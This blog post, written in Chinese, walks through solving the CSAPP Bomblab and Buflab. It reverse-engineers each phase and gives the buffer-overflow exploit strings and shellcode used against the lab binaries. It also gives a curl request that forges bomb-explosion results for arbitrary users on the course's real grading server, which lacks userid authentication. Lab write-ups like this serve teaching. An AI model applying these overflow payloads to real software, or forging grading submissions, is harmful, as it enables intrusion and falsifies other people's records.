以CSAPP爲教材,其中兩個實驗是Bomblab和Bublab,把自己解決方式和使用到的工具、命令等記錄如下,竊以爲分析了一些網上找不到的內容,使用到的工具也是網上很難找到的。
Bomblab
行爲分析
initialize_bomb
在6個phase開始前執行,調用了signal爲SIGINT註冊了信號處理函數sig_handler:輸出“So
you think you can stop the bomb with ctrl-c, do
you”,sleep三秒後輸出“Well...”, sleep一秒後輸出“OK.
:-)”。之後initialize_bomb調用init_driver:向15214端口發起連接,並立刻關閉寫端。
read_line
一行若大於等於78個字符就會產生錯誤。
phase_defused
每個任務成功後調用,會調用send_msg(0)。
explode_bomb
任務失敗後調用,實際上會調用send_msg(1)。
服務端會發來爆炸信息,同時關閉之前15214端口監聽的socket。
submitr
向166.111.68.242:15214發送HTTP
1.0請求,數據中包含bomb編號,用戶編號和用戶提交的字符串以及炸彈是否爆炸等。
另外服務端未對userid做認證,導致可以提交錯誤的結果給任意用戶:
1 | curl 'http://166.111.68.242:15214/csapp/submitr.pl/?userid=&lab=f12&result=xxx%3Aexploded%3A1%3Aa&submit=submit' |
調試環境
可以每次運行時都用gdb打開,在explode_bomb處下斷點,但較爲麻煩。注意到bomb的行爲,可以把send_msg的第一個字節改爲ret指令,避免和服務器交互。
1 | r2 -qwc 'wa ret @sym.send_msg; s sym.explode_bomb; \ |
Phases
Phase 1
使用r2 -c af@sym.phase_1 -c pdf@sym.phase_1 bomb反彙編可以發現phase_1是一個取一個字符串參數的函數,把該字符串和某個.rodata段裏的字符串進行了比較,不相等則引爆炸彈。
% strings /tmp/bomb | grep Border
Border relations with Canada have never been better.
Phase 2
反彙編phase_2:
% r2 -c af@sym.phase_2 -c pdf@sym.phase_2 bomb
研究read_six_numbers發現這個函數取一個字符串參數,用sscanf讀入了6個int。需要
取0, 1, 3, 6, 10, 15即可。
Phase 3
下面代碼實現了一個跳轉表的switch:
[0x080488a0]> pi 4 @0x08048e23
cmp dword [ebp-0xc], 0x7
ja 0x8048e6b
mov eax, [ebp-0xc]
jmp dword [eax*4+0x804a054]
發現輸入爲2 896即可。
Phase 4
取兩個參數a, b的函數,0 <= a && a <= 14 && b == 7 && f(a, 0, 14) == 7,
f比較複雜,使用枚舉法:
for i in `seq 0 30`; do { (cat in; echo "$i 7") | ./good |& grep -q EOF && notify-send $i;} &; done
得到答案14 7。
Phase 5
有一層循環複製參數字符串,根據r2 -c ’af@sym.phase_5; pdf@sym.phase_5’ bomb:
...
| 0x08048d3c c645e700 mov byte [ebp-0x19], 0x0
| 0x08048d40 c74424044da00408 mov dword [esp+0x4], str.oilers
| 0x08048d48 8d45e1 lea eax, [ebp-0x1f]
...
找到字符oilers在array_2952中的偏移,增加64轉換成大寫字母:
% r2 bomb
[0x080488a0]> px 16@sym.array.2952
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x0804a074 6d61 6475 6965 7273 6e66 6f74 7662 796c maduiersnfotvbyl
[0x080488a0]> !rax2 -S
oilers
6f696c6572730a
[0x080488a0]> !rax2 -S << 'oilers'
% xargs -n1 <<< '10 4 15 5 6 7' | perl -ane 'print chr($_+64)'
JDOEFG
Phase 6
讀入6個
% nm good G node
0804b5dc D node1
0804b5d0 D node2
0804b5c4 D node3
0804b5b8 D node4
0804b5ac D node5
0804b5a0 D node6
% r2 bomb
[0x0804b5a0]> e hex.cols=12
[0x0804b5a0]> s sym.node6
[0x0804b5a0]> pxw 72
0x0804b5a0 0x000003cf 0x00000006 0x00000000 ............
0x0804b5ac 0x00000213 0x00000005 0x0804b5a0 ............
0x0804b5b8 0x00000248 0x00000004 0x0804b5ac H...........
0x0804b5c4 0x0000037b 0x00000003 0x0804b5b8 {...........
0x0804b5d0 0x00000099 0x00000002 0x0804b5c4 ............
0x0804b5dc 0x0000031a 0x00000001 0x0804b5d0 ............
[0x0804b5a0]>
其中第一行是node6,最後一行是node1,所以
node6 > node3 > node1 > node4 > node5 > node2,
需要填6 3 1 4 5 2。
Secret Phase
觀察phase_defused的代碼可以發現有一個隱藏關卡secret_phase,如果第6關通過了,phase_defused會用sscanf解析0x804b9d0得到兩個數和一個字符串,這個字符串如果是“DrEvil”那麼就能進入隱藏關。
可以發現0x804b9d0對應輸入的第四行,而第四行本來就應該有兩個數,所以可以在後面添加一個字符串“DrEvil”,在第6關通過進入隱藏關。隱藏關是和二叉搜索樹相關的:
1 | struct Node { int key; Node *l, *r; }; |
只要從n1根節點出發,先往左走,再往右走即可。
[0x080488a0]> s sym.n1
[0x0804b690]> pxw 12
0x0804b690 0x00000024 0x0804b684 0x0804b678 $.......x...
[0x0804b690]> s sym.n1+4
[0x0804b694]> pxw 1
0x0804b694 0x0004b684 .
[0x0804b694]> s sym.n1
[0x0804b690]> s sym.n1+4
[0x0804b694]> pxw 4
0x0804b694 0x0804b684 ....
[0x0804b68c]> s 0x0804b684+8
[0x0804b68c]> pxw 4
0x0804b68c 0x0804b66c l...
[0x0804b68c]> pxw 4 @0x0804b66c
0x0804b66c 0x00000016 ....
[0x0804b68c]> !rax2 0x16
22
輸入22。
最後的輸入文件是這樣的:
Border relations with Canada have never been better.
0 1 3 6 10 15
2 896
14 7 DrEvil
JDOEFG
6 3 1 4 5 2
22
Buflab
行爲分析
main
如果開啓了nitro
mode(-n)則運行5次launcher,否則運行一次。
launcher
調用了下面函數允許用戶數據字符串的虛擬地址處可以執行代碼:
1 | mmap(0x55586000, 1048576, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_GROWSDOWN, 0, 0) |
launch
接受兩個參數,分別表示nitro
mode是否開啓和一個控制棧地址偏移的。調用alloca修改esp使得每次執行時棧地址相同。
validate
找到validate的虛擬地址:
[0x08048970]> ? $$ @sym.validate
134516900 0x80490a4 01001110244 128.0M 804000:00a4 134516900 10100100 134516900.0 0.000000
觀察validate的xref可以發現有5處:smoke(0x0804907a), fizz(0x0804902f), bang, test, testn,這5處validate分別以參數
Phases
smoke: validate(0)
smoke的代碼如下:
1 | void smoke() |
非nitro
mode下main會調用test,而後者會調用getbuf,讓getbuf返回時跳轉到smoke即可。getbuf的代碼如下:
1 | int getbuf() |
提供n串即可。注意如果要把結果提交到服務端,因爲會使用到submitr(和之前BombLab的相同),
1 | (jot -s '' -b 00 56; echo -n 0804907a | tac -rs..; echo 0a) | \ |
fizz: validate(1)
1 | void fizz(int a) |
需要提供一個等於cookie的參數,偏移量爲返回地址+8,中間夾着的爲返回後的地址,但因爲fizz調用exit(0)退出了,這個返回地址用不到,可以任填:
1 | (jot -s '' -b 00 56; echo -n 0804902f | tac -rs..; echo 12345678; \ |
bang: validate(2)
1 | void bang() |
getbuf返回到bang前需要先把global_value修改成cookie。
可以讓輸入串最開頭爲一段shellcode修改global_value並ret,補齊到56個字節,再填寫bang的入口地址。
% r2 bufbomb
[0x08048970]> fl sym.global_value
0x0804c1ec
[0x08048970]> fl sym.cookie
0x0804c1e4
[0x08048970]>
% rasm2 'mov eax, 0804c1ech; mov ecx, 0804c1e4h; mov ecx, [ecx]; mov [eax], ecx; ret'
b8ecc10408b9e4c104088b098908c3
然後需要知道getbuf的緩衝區在棧上的地址:
% gdb -batch bufbomb -x =(echo 'b getbuf\nr -u2011011269\np/x $ebp-0x34')
Breakpoint 1 at 0x8048bda
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: 2011011269
Cookie: 0x1328f63b
Breakpoint 1, 0x08048bda in getbuf ()
$1 = 0x5568316c
然後先寫shellcode,pad後跟上輸入字符串的地址和bomb入口地址:
1 | (rasm2 'mov eax, 0804c1ech; mov ecx, 0804c1e4h; mov ecx, [ecx]; mov [eax], ecx; ret'; \ |
test: validate(3)
之前每次在test調用完getbuf後就修改返回地址不回到test了,這次要繼續執行test的代碼。另外需要恢復ebp的值,在shellcode裏設置即可,另外也可以在覆蓋getbuf的返回地址時寫入ebp的正確值:
1 | (rasm2 'mov eax, [0x0804c1e4]; mov ebp, 0x556831d0; push 0x08048c63; ret'; \ |
testn: validate(4)
命令行選項-n進入,main會用0和四個由0x80 - random() & 0xf0生成的數調整testn入口處的esp。第一次調用testn時棧地址不變,之後四次調用testn棧地址調整量在calloc分配的堆上的數是隨機的。先獲取第一次調用testn裏的getbufn時的輸入緩衝區地址:
% gdb -batch bufbomb -x =(echo 'b getbufn\nr -u2011011269 -n\np/x $ebp-0x208')
Breakpoint 1 at 0x8048bbf
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: 2011011269
Cookie: 0x1328f63b
Breakpoint 1, 0x08048bbf in getbufn ()
$1 = 0x55682f98
之後調用得到的地址會在這個值基礎上增加lea ebp, [esp+028]可以恢復testn的ebp。
% echo -e 'BITS 32\nmov eax, [0x0804c1e4]\nlea ebp, [esp+0x28]\npush 0x08048bfe\nret' > a.s
% nasm a.s
% xxd -p a
a1e4c104088d6c242868fe8b0408c3
在輸入串最開頭放上長爲NOP sled,之後跟上shellcode,然後再把長度pad成sed復製成5份:
1 | (jot -s '' -b 90 240; echo a1e4c104088d6c242868fe8b0408c3; \ |
其他
工具
主要用到了尚在開發中的radare2,文檔很少,在使用過程中也發現了好幾個bug,但總而言之這是款神器。
BSD jot,用來產生重複的字符串。
coreutils,包括tac -rs..轉換大小端。
xxd,主要用-p產生plain
hexdump,以及-r -p從plain hexdump轉換回去。
其他準備
一開始以爲要用些手段去掉ASLR的,可以設置personality,或者更簡單地,用setarch `arch` -R執行,另外還要去掉所有環境變量以防止棧地址受到影響:
1 |
|
或者使用env -i setarch `arch` -R運行。